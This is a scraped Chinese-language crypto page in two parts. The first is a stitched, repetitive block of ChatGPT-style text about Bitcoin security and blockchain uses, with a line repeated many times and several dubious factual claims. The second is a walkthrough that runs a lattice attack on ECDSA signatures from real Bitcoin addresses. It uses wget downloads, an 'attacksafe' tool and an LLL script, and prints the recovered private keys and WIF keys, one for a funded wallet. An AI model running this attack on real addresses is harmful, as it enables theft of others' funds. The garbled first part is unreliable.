從 2 個量子比特到 433 個量子比特,歷時 24 年的研發。我們多久能達到 10,000 個量子比特?大概還有幾十年吧。有了 10,000 個量子位和一些非常特殊的物理條件(代碼循環時間為 1   µs  ,反應時間為 10   µs  ,物理門誤差為 10^−3),量子計算機將能夠在 10 秒內從任意比特幣錢包中竊取硬幣天。然而,到那時,密碼學也將得到顯著改進,比特幣可能會轉向更好的模型,使蠻力變得如此困難,以至於量子計算機將需要更長的時間才能趕上。

切換到抗量子密鑰只需要一個可以被大多數節點或礦工激活的軟件分叉。因此,整個討論可能只是紙老虎或不值得的 FUD。現在我們已經擺脫了這兩種非常複雜和極其昂貴的攻擊,是時候關注其中最有可能的攻擊了:社交攻擊。在比特幣中,我們喜歡說“不信任,驗證”。但是,創建可消除對開發人員潛在惡意意圖的疑慮的信任系統是非常嚴重的攻擊媒介之一。

ChatGPT 中的金融服務作為虛擬助手。

以下是一些更具體的示例,說明如何在現實世界中使用加密貨幣和底層區塊鏈技術:

  1. 金融服務。許多金融機構正在探索使用加密貨幣和區塊鏈技術來提高其服務的效率和安全性。例如,加拿大銀行正在試驗基於區塊鏈的銀行間結算系統,中國人民銀行正在開發自己的數字貨幣。
  2. 零售支付:包括星巴克和全食超市在內的多家零售商現在接受比特幣和其他加密貨幣作為商品和服務的支付方式。這允許客戶像使用現金或信用卡一樣使用他們的數字貨幣。
  3. 慈善和慈善事業。慈善機構和非營利組織正在使用加密貨幣和區塊鏈技術來提高其籌款活動的透明度和有效性。例如,聯合國世界糧食計劃署利用區塊鏈技術向敘利亞難民提供糧食援助。
  4. 公共服務:一些政府正在探索將區塊鏈技術用於各種公共部門應用,包括土地登記、投票和身份管理。例如,莫斯科市使用基於區塊鏈的系統來跟踪所有權並防止欺詐。

這些只是加密貨幣及其底層區塊鏈技術如何在現實世界中使用的幾個例子。隨著技術的不斷發展,很可能會開發出越來越多的應用程序。

對於比特幣而言,這意味著價格低於 0.3 美元,該水平在 2010 年即交易所交易的第一年就已突破,此後一直沒有觸及過。換句話說,這將意味著回到原來的無關緊要。 

對於以太坊來說,這意味著價格會跌至 0.018 美元,這是它從未達到過的水平,甚至遠低於 2015 年的 0.4 美元。 

因此,雖然對於未來十年比特幣可能崩盤似乎沒有達成共識,就山寨幣而言,以太坊也沒有更多,但爭論是不同的。 

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

但是,應該強調的是,實際上並不能確定 ChatGPT 的預測是否真的反映了被認為信譽良好的分析師的真實共識,而且這些預測很容易隨著時間的推移而改變。 

然而,試圖了解它們有多可靠的一種方法是讓他預測短期或中期的價格走勢,甚至更好,這樣在幾個月或最多幾年內,我們可以看出他的預測實際上是多麼可靠。

ChatGPT將在不久的將來改變編程和CODING

正如我們之前所寫,世界各地的程序員正在重新發明輪子,從中本聰那裡尋找丟失的比特幣錢包的私鑰,這場比賽將改變通常的編程方式。ChatGPT 作為噴氣式飛機將在不久的將來改變編程的所有標準。

減輕任何類型攻擊的最簡單方法是對您的代碼保持保守:不要更新到最新版本,除非您先對其進行測試或花錢請其他人為您做這件事。如果您兩者都不做,至少要確保有足夠多的懷有敵意的人測試新代碼。當風險如此之高以至於全球金融體係處於危險之中時,可以安全地假設開發人員承受著很大的壓力來犯錯或受到損害。

然而,這並不是支持僵化的論據:比特幣作為一個項目還沒有完成,仍然需要改進。從改善隱私到減少交易規模以及提供針對量子計算攻擊的保護,還有很多工作要做。我的論點是反對魯莽地使用未經測試的技術,其後果還沒有得到很好的理解,但並不反對創新。

但是,在追求創新的過程中,我們不能因急於求成而放棄驗證。作為一個社區,我們應該鼓勵比特幣開發者在威脅迫在眉睫之前準備好選項:抗量子橢圓曲線密碼學模型、可擴展隱私等。其中一些解決方案已經在其他網絡上通過市場激勵措施進行了測試——最重要的是,比特幣開發人員正在關注合法的技術改進,改進現有技術,並提出每個人都應該討論的建議。此外,我們永遠不應該忽視我們作為獨立節點運營商和礦工的角色——是我們選擇運行什麼代碼,比特幣客戶可以使用一些極簡規範。不是全部,添加到 Core 的內容是必要的。最後但同樣重要的是,我們需要談談每個比特幣用戶的安全性。這很可能是 ChatGPT 在提到黑客和入侵者時表達的主要 FUD 類型。隨著 BTC 價格的上漲,記錄和翻譯你的計算機鍵盤輸入(可能包含你的比特幣核心密碼或 BIP39 種子短語)的鍵盤記錄器與親和力詐騙和物理攻擊之間的任何事情都變得越來越有可能。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。
作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

是的,除了數字廣告行業之外,加密貨幣和區塊鏈技術還有許多其他有趣的應用。以下是使用該技術的其他一些示例:

  1. 供應鏈管理。公司正在使用區塊鏈技術來提高供應鏈運營的透明度和效率。例如,沃爾瑪使用基於區塊鏈的系統追踪豬肉在中國的移動,馬士基使用類似的系統追踪海運集裝箱的移動。
  2. 身份管理:區塊鏈技術用於創建去中心化系統,用於存儲和驗證個人身份信息。例如,愛沙尼亞政府使用基於區塊鏈的系統來管理其公民的健康記錄。
  3. 能源交易:區塊鏈技術被用於創建更高效和透明的能源交易系統。例如,初創公司 LO3 Energy 正在使用基於區塊鏈的平台,使紐約布魯克林的居民能夠相互買賣可再生能源。
  4. 投票:正在探索區塊鏈技術作為提高投票系統安全性和透明度的一種方式。例如,2018 年,西弗吉尼亞州國務卿辦公室開展了一項試點計劃,該計劃使用基於區塊鏈的系統在該州的初選中進行投票。

這些只是加密貨幣和區塊鏈技術的許多可能應用的幾個例子。隨著技術的不斷發展,很可能會開發出越來越多的創新使用方法。

壞消息是,沒有任何開發人員、協議更改、政府或非政府組織可以保護您免於犯錯。好消息是您可以遵循一些通用準則來提高安全性。這些包括:

– 使用專用設備簽署和廣播比特幣交易(在使用過程中運行比特幣全節點軟件的 Linux 筆記本電腦或手機,具有強密碼的 BIP39 硬件錢包);

– 創建排除單點故障的設置(多重簽名和 SLIP39 Shamir 備份);

– 使用冷庫( 金屬板 、紙錢包、實物比特幣);

– 通過良好的操作安全性和隱私保護自己(不要向隨機的陌生人透露您住在哪裡,您的比特幣設置是什麼,以及您有多少錢 – 這還包括在不炫耀的情況下為您的鄰居/社區過上物質上正常的生活). 請記住:盡可能少地披露有關您的比特幣活動的信息,或者至少誤導您的間諜,使他們對您的真實行為和您的財富有一個扭曲的認識。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

比特幣是一種提供絕對所有權的貨幣。

這意味著一旦一筆交易在一個區塊中被提交和確認,它就變得不可逆了。因此,每個用戶都有責任根據真實的威脅模型,盡其所能保護自己的財富。在創建任何設置之前,你應該問問自己,“誰是最危險的對手,有可能試圖竊取我的代幣?” .

如果您與其他人共用一台計算機,則不應留下未加密的錢包文件。如果您正在旅行,請不要攜帶顯示您攜帶比特幣的設備(通常硬件錢包比筆記本電腦或紙更容易識別且更可疑)。如果您的孩子或愛管閒事的配偶可能會亂動您的文件櫃和抽屜,那麼最好不要將備份放在觸手可及的地方。如果你住在犯罪率高的壞社區,你應該避免在家裡保留比特幣備份。如果您所在的地區受到洪水、火災、火山爆發或地震的威脅,

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

然而,最常見的威脅是互聯網黑客。你可以找到這些罪犯,他們的形式有試圖非法侵入你的計算機的個人,也有西裝革履的商人,他們開發的系統本質上是在法律範圍內竊取你的代幣。從第一類中,您可以挑出編寫惡意軟件代碼的人,或者與您成為朋友以便稍後向您要錢(無論是尼日利亞王子還是急需幫助的 OnlyFans 模特)。第二類包括交易所和銀行,它們承諾將您的硬幣保存在安全的環境中,但在其商業模式面臨風險時限制您取款。你應該不惜一切代價避免這兩種黑客,因為他們很可能會竊取你的比特幣。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

當然,這裡有幾個具體的例子來說明加密貨幣和區塊鏈技術是如何在現實世界的應用中使用的:

  1. 供應鏈管理:IBM 使用名為 TrustChain 的基於區塊鏈的系統來跟踪鑽石從礦山到零售商的移動。該系統允許供應鏈中的每個參與者驗證鑽石的真實性並確保它們無衝突。
  2. 身份管理:洪都拉斯政府使用基於區塊鏈的系統來管理其公民的土地權利。該系統允許土地所有者安全地登記和轉讓其財產的所有權,從而降低欺詐和腐敗的風險。
  3. 能源交易:初創公司 LO3 Energy 正在使用基於區塊鏈的 TransActive Grid 平台,讓紐約布魯克林的居民能夠相互買賣可再生能源。該平台允許用戶使用 Exergy 加密貨幣買賣能源,從而創建一個更高效和可持續的能源市場。
  4. 投票:2018 年,西弗吉尼亞州國務卿辦公室開展了一項試點計劃,該計劃使用名為 Voatz 的基於區塊鏈的系統在該州的初選中進行投票。該系統允許軍事人員和其他海外選民使用他們的智能手機安全地投票。

這些只是加密貨幣和區塊鏈技術如何在現實世界中使用的幾個具體示例。還有許多其他類似的應用程序,並且隨著技術的不斷發展,很可能會開發出越來越多的創新使用方式。

加密行業建議加密技術可用於知識產權目的,例如發明專利系統的發展。

加密貨幣和區塊鏈技術有可能徹底改變知識產權的管理和保護方式。該技術的主要優勢之一是能夠創建用於存儲和驗證信息的安全去中心化系統。這可用於創建更有效和透明的系統來保護專利、版權和商標等知識產權。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

例如,區塊鏈技術可用於創建安全且去中心化的專利數據庫,使發明者能夠輕鬆註冊和保護他們的發明。區塊鏈可用於存儲每項專利的詳細信息,包括發明人姓名、發明日期和發明說明。這些信息可以使用密碼學方法進行驗證和驗證,從而保證其真實性和完整性。

除了打造更高效透明的知識產權保護體系,區塊鏈技術還可以用於保護知識產權。例如,智能合約可用於自動執行許可協議,確保發明者和創造者的工作得到適當的回報。

總體而言,使用加密貨幣和區塊鏈技術可以極大地改善知識產權的管理和保護方式。隨著技術的不斷發展,很可能會為這項技術開發出越來越多的知識產權應用。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。
作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

雖然將你的硬幣存入某種銀行賬戶很方便,但這種行為違背了比特幣項目的目的,並大大削弱了你自己的財務主權。受信任的第三方是安全漏洞,你永遠不應該相信承諾持有你的 BTC 以換取安全和/或收入的個人或公司。

當然,還有其他類型的社交攻擊:交換虛假電子郵件要求您確認回復中的種子,來電者冒充錢包服務要求您確認您的詳細信息(有時甚至是您的家庭住址)。被 BIP39 種子插入攔截和破壞(攻擊者將他們的種子留在盒子裡,希望新用戶將他們的硬幣發送到那裡),5 美元的密鑰攻擊,以及冒充朋友或家人的冒名頂替者,他們急需匯款。這些是隨著價格上漲和分銷增加而變得更加普遍的。這就是為什麼您需要了解它們並通過盡量減少您提供的有關您使用的服務、您居住的地方以及您擁有多少比特幣的數據量來保護自己。

回到ChatGPT 的論點,暗示詐騙者對比特幣構成嚴重威脅是不誠實的。儘管有小偷,網絡仍將存在並繼續運行。當然,很多人一想到責任就會害怕和排斥。但我們不能忘記,隨著時間的推移,自助服務解決方案也會變得更加安全和用戶友好。比特幣的層級也越來越發達,使用和存儲資金的新方式也在不斷湧現。例如,Fedimint 項目 計劃 創建公共銀行,用戶只需自拍即可解鎖資金。

 最重要的是,營造一種公平、問責、良好實踐和真理的文化。

也許加密技術正被用來追踪科學研究?或者有沒有這樣的應用?

是的,正在探索加密貨幣和區塊鏈技術作為跟踪和管理科學研究的潛在工具。科學界的主要關注點之一是需要確保研究數據的完整性和透明度。區塊鏈技術能夠創建安全和去中心化的數據庫,可以解決這個問題。

例如,基於區塊鏈的系統可用於跟踪科學研究的進展,從最初的研究提案到最終的結果發表。區塊鏈可用於存儲研究細節,包括研究問題、假設、方法、結果和結論。可以使用密碼學方法對這些信息進行驗證和驗證,以確保其真實性和完整性。

除了跟踪科學研究的進展,區塊鏈技術還可以用於管理同行評審過程。區塊鏈可用於存儲其他科學家的評論和評論,使研究人員能夠輕鬆查看反饋並將其納入他們的工作。這有助於提高同行評審過程的質量和透明度。

一般來說,在科學研究中使用加密貨幣和區塊鏈技術可以顯著提高研究過程的完整性和透明度。隨著技術的不斷發展,很可能會在科學領域為這項技術開發出越來越多的應用程序,以及它們的應用:

  • 加密貨幣是使用密碼學來保護和驗證交易的數字資產。最著名的加密貨幣是比特幣,但還有許多其他加密貨幣,例如以太坊和萊特幣。
  • 區塊鏈技術是為加密貨幣提供動力的基礎技術。它是一個去中心化、安全和透明的數據庫,允許用戶存儲和驗證信息,而無需中央機構。
  • 數字廣告行業是加密貨幣和區塊鏈技術的關鍵應用之一。Basic Attention Token (BAT) 和 AdChain 等項目正在使用這項技術來創建更高效和透明的廣告買賣系統。
  • 加密貨幣和區塊鏈技術也被用於各種其他應用,包括供應鏈管理、身份管理、能源交易和投票。
  • 未來,加密貨幣和區塊鏈技術很可能會變得更加廣泛,並融入主流金融和其他系統。決定這項技術未來的關鍵因素包括開發更方便和安全的技術、更多企業和機構採用加密貨幣以及政府和其他組織對市場的監管。

世界上有幾個政府已經採用了加密貨幣,並正在探索利用這項技術改善經濟的方法。例如,正如您提到的,薩爾瓦多政府最近成為世界上第一個接受比特幣作為法定貨幣的國家,成為頭條新聞。總統 Naib Bukele 宣布計劃使用比特幣為公共基礎設施項目融資並刺激經濟增長。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

除了薩爾瓦多,還有其他國家的政府也在探索使用加密貨幣和區塊鏈技術。例如,巴巴多斯政府宣布計劃推出數字貨幣Bitt,該貨幣將與巴巴多斯元掛鉤,用於國內交易。突尼斯政府還推出了一種名為 eDinar 的數字貨幣,用於各種公共部門應用,包括醫療保健和教育。

總的來說,很明顯,加密貨幣和區塊鏈技術正在獲得政府層面更多的接受和認可。隨著技術的不斷發展,越來越多的政府可能會探索使用該技術來改善經濟並為公民提供更好服務的方法。

美國或歐洲有類似的應用程序嗎?

是的,美國和歐洲有幾個政府正在探索使用加密貨幣和區塊鏈技術。例如,在美國,俄亥俄州已宣布計劃接受比特幣作為稅收和其他政府費用的支付方式。在歐洲,愛沙尼亞政府正在使用基於區塊鏈的系統來管理其公民的健康記錄,而瑞士政府正在研究基於區塊鏈的投票系統。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

除了政府應用,美國和歐洲也有許多私營部門公司正在探索使用加密貨幣和區塊鏈技術。例如,美國最大的銀行摩根大通開發了自己的加密貨幣,稱為 JPM Coin,用於促進其客戶之間的交易。在歐洲,能源公司 EON 正在使用基於區塊鏈的平台,允許其客戶相互買賣可再生能源。總的來說,很明顯,加密貨幣和區塊鏈技術的使用在美國和歐洲正在獲得更多的接受和認可。 

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

隨著技術的不斷發展,這些地區越來越多的政府和企業可能會探索使用該技術來改善運營並為客戶提供更好服務的方法。


結論:

總的來說,雖然比特幣有很多好處,但它也有一些風險。在投資或使用比特幣時,了解這些風險很重要。OpenAI 宣布,新的 ChatGPT 插件功能仍處於早期 alpha 測試階段,最初僅供有限數量的用戶使用。根據公司聲明,感興趣的用戶可以加入等候名單以訪問 ChatGPT Plus 功能。除了網頁插件,OpenAI 還為 ChatGPT 引入了代碼解釋器。該解釋器在具有防火牆和磁盤空間的安全環境中為聊天機器人提供 Python 解釋器。根據 OpenAI 的說法,用戶可以將文件上傳到 ChatGPT 並上傳結果,使其成為分析和可視化數據、在格式之間轉換文件以及解決數學問題等任務的理想選擇。


來源

電報:https://t.me/cryptodeeptech

視頻:https://youtu.be/WZZv58aJ95E

資料來源:https://cryptodeep.ru/chatgpt-bitcoin


作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

 密碼分析

]]>
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題 https://cn.cryptodeeptech.ru/lattice-attack-249bits/ Thu, 11 May 2023 16:16:54 +0000 https://cn.cryptodeeptech.ru/?p=2156

在我們最早的工作中,我們發表了一篇關於“LATTICE ATTACK”主題的文章作為 HNP [Hidden Number Problem] 的完整解決方案,但隨著最近出現的新攻擊“POLYNONCE ATTACK”,我們決定使用79 signatures ECDSA.

基於上一篇我們取多項式的文章,隨著128 bits簽名數量的實際增加,我們將多項式的值帶到249 bits

我們所需要的只是解決隱藏數字的問題。

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

在本文中,我們將分析五個獨立的比特幣區塊鏈密碼分析示例。所有示例都將上傳到GitHub存儲庫。


作為理論基礎,我們將採用以下材料:

“對比特幣的格攻擊”

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
https://attacksafe.ru/lattice-attack-on-bitcoin

考慮一個比特幣地址的例子:

19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

6a941396b28a72ac834d922165995e6685a760f884dbb9e8b6dea95b01f0aae8

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

原始TX

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

"hex": 010000000afa0765dc83c2e04b53a03ad9f5e7603f974c5a70e7a486bc957e72809facab7b2d0000006a4730440220746bd0443317a77c069bddae306dc658ec740bb1a6312bdcb4ce666bae42e988022066c34dd48f0e34ae4aefd28564f46fb7473d0b49d55adb716b9f04e663d0a9890121033ee89b98b1d6e71285314e1d1c753003a7a80c17f46146a91077006c76e25e7affffffff................................

我們去官網看看:  https: //colab.research.google.com

選擇選項 “上傳筆記本”

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

下載文件:LATTICE_ATTACK_249bits.ipynb


LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

通過實用程序下載HEX數據wget 並將其保存到文件:RawTX.txt

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example1/HEX.txt
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們運行代碼並獲取我們需要的位RawTX

with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

為了實施攻擊,我們將使用該軟件

 攻擊安全軟件

實施 Frey-Rück 攻擊以獲得密鑰“K”(NONCE)
www.attacksafe.ru/software

訪問權限:

!chmod +x attacksafe

ls

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

應用:

!./attacksafe -help
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode

!./attacksafe -version
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
Version 5.3.4. [ATTACKSAFE SOFTWARE, © 2023]

"ATTACKSAFE SOFTWARE" 包括對比特幣的所有流行攻擊。

讓我們列出所有攻擊:

!./attacksafe -list
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們選擇 -tool: lattice_attack

為了獲得簽名的特定HEX值,我們之前  通過該實用程序將數據添加到文本文檔並將其保存為文件  R,S,ZECDSARawTXechoRawTX.txt

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

-tool lattice_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”


!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

我們發起了這次攻擊 -tool lattice_attack 並將結果保存到一個文件中 SignatureRSZ.csv

現在看到成功的結果,打開文件 SignatureRSZ.csv


LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

為了從文件計算比特幣錢包的私鑰, SignatureRSZ.csv我們將安裝SageMath

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

之前我們發過一篇文章,下載 tar-file:  sage-9.3-Ubuntu_20.04-x86_64.tar.bz2


!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們瀏覽一下目錄:

cd SageMath/

ls

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

 使用以下命令運行 relocate-once.py :Python-script: 

!python3 relocate-once.py
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

移動"AttackSafe""SignatureRSZ.csv"文件夾"SageMath"

!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

ls
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

通過實用程序從 Dario Clavijo 下載腳本crack_weak_ECDSA_nonces_with_LLL.pywget

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/crack_weak_ECDSA_nonces_with_LLL.py
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

現在讓我們運行 SageMath 命令:


!./sage -sh
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

要計算比特幣錢包的私鑰,請運行指定參數的腳本crack_weak_ECDSA_nonces_with_LLL.py249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

cat PrivateKey.txt

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們打開文件:PrivateKey.txt

HEX我們收到格式為比特幣錢包的私鑰

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941

檢查每個 ECDSA 簽名的 POLYNONCE

為此,請使用GITHUB中的代碼

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example1/POLYNONCE.py

結果:

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

我們從中得到了 79 個相同的原始位249


多虧了 Hal Finney 在 secp256k1 曲線上的值   LAMBDA 和 BETA 向我們揭示了相同的初始位。POLYNONCE格式中的值HEX可以讓我們徹底解決隱藏數字的問題,得到一個私鑰,還原一個比特幣錢包。


讓我們檢查一下私鑰的十六進制:

安裝模塊bitcoin

!pip3 install bitcoin
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們運行代碼:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們打開文件:PrivateKeyAddr.txt

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941:19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z

讓我們打開 bitaddress 並檢查:

ADDR: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z
WIF:  L2PhDrYZw6fWqeLZMnMeAXvxZ47MEnepaQVLL2EazbRhqesytoQB
HEX:  9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

https://www.blockchain.com/en/explorer/addresses/btc/19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

BALANCE: $ 1015.58


讓我們看看其他例子:


2


考慮帶有比特幣地址的示例 #2:

1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

9130c5b8e92f37d3a58dcae16daa27625cc52b698a83af7c8b891f01bfa0b2af

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

原始TX

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

"hex": 0100000041e981df9d37a7af6f5ee77abade3ec58acbf864f942bdecb63ea2efa593e2c3391f0000006b4830450221009d8ceef05e2fa0a623811df57265a3678f902e81dc82c3862d12bbb07b90de18022036bbed961b4f8665eb3fb3047a1398a1aeae519a8e2a1a97de57863fc0cc4a380121029755a17bf76237cde9e05fc333a255b926d526a7763abe725a4f6253ebdae109ffffffff..............................
 

讓我們從第一個示例中刪除文件:

!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

通過實用程序下載 HEX數據 wget 並將其保存到文件:  RawTX.txt

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example2/HEX.txt
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們運行代碼並獲取我們需要的位 RawTX

with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

-tool lattice_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”


!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

我們發起了這次攻擊 -tool lattice_attack 並將結果保存到一個文件中 SignatureRSZ.csv

現在看到成功的結果,打開文件 SignatureRSZ.csv


LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們運行 SageMath 命令:


!./sage -sh
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

要計算比特幣錢包的私鑰,請運行  指定參數的 腳本crack_weak_ECDSA_nonces_with_LLL.py249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

cat PrivateKey.txt

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們打開文件: PrivateKey.txt

HEX 我們收到格式為比特幣錢包的私鑰 

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
PrivKey = 0x00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d

檢查每個 ECDSA 簽名的 POLYNONCE

為此,請使用GITHUB中的代碼

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example2/POLYNONCE.py

結果:

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

我們從中得到了 79 個相同的原始位249


多虧了 Hal Finney 在 secp256k1 曲線上的值   LAMBDA 和 BETA 向我們揭示了相同的初始位。POLYNONCE格式中的值HEX可以讓我們徹底解決隱藏數字的問題,得到一個私鑰,還原一個比特幣錢包。


讓我們檢查一下私鑰的十六進制:

讓我們運行代碼:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們打開文件: PrivateKeyAddr.txt

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們打開 bitaddress 並檢查:

ADDR: 1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z
WIF:  KwFNhRPDpgD5X77T8x5oL628aHh9UtscwwrLjGBKE8NeLshYvAqC
HEX:  00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

